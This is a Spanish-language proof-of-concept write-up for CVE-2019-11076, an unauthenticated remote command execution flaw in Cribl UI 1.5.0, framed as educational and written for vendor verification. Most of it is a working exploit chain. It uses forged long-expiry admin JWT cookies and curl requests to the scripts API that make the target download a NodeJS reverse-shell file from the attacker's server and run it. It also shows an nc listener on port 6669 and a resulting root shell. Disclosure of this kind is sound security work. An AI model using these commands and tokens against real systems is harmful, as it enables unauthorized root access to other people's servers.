
CVE-2019-11076 - Cribl UI 1.5.0 permite a atacantes remotos ejecutar comandos arbitrarios mediante una solicitud web no autenticada.
Esto es solo con fines informativos/educativos.
Esto se ha elaborado para demostrar una inseguridad en la herramienta, de modo que el proveedor pueda verificar una corrección.
Probado en Cribl v1.5.0 - Las versiones anteriores no se probaron, pero probablemente sean vulnerables.
Un token JWT válido puede transferirse e inyectarse en la sesión de otra instancia de Cribl, otorgando al usuario acceso no autorizado.
Además, la clave de cifrado utilizada para generar el JWT/Sesión puede usarse para crear una sesión válida para cualquier nombre de usuario, con una caducidad extendida.
Esto, combinado con la capacidad de ejecutar scripts dentro de Cribl, permite a un atacante remoto ejecutar código malicioso en una instancia de Cribl para obtener un mayor control.
Un ejemplo de ello puede verse a continuación: usando la página de scripts y un token JWT de larga caducidad, fue posible crear una reverse shell.
Probado usando Docker (Alpine).
Primero, modifica (el nombre del host remoto) y sube tu shell.js a tu servidor web. El archivo contiene código NodeJS para crear una reverse shell hacia tu sitio web.
El servidor debe tener acceso de red saliente a tu host/puerto remoto.
En segundo lugar, configura un listener en tu host remoto, en el puerto que coincida con shell.js:
nc -lvp 6669
Ajusta los siguientes comandos curl con tu archivo remoto.
Ejecuta los comandos CURL en orden; las salidas deberían coincidir aproximadamente con las sangrías de abajo.
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{}}' --compressed
"count":1,"items":[{"command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{},"id":"runme"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/runme/run' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNTU0OTUyMTU5fQ.W4YDcUJhshv2R25UcumlP4H-2vaCIiJL0hME4eZFIW0' \
--data-binary '{}' --compressed
{"pid":414,"stdout":"N/A","stderr":"N/A"}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json'\
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"reverseit","command":"node","args":["/opt/cribl.js"],"env":{}}' --compressed
"count":1,"items":[{"command":"node","args":["/opt/cribl.js"],"env":{},"id":"reverseit"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/reverseit/run' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed
{"pid":353,"stdout":"N/A","stderr":"N/A"}
Listening on [0.0.0.0] (family 0, port 6669)
Connection from [188.29.XXX.XXX] port 6669 [tcp/*] accepted (family 2, sport 13720)
> whoami
< root
> ls /
< bin
< dev
< etc
< home
< lib
...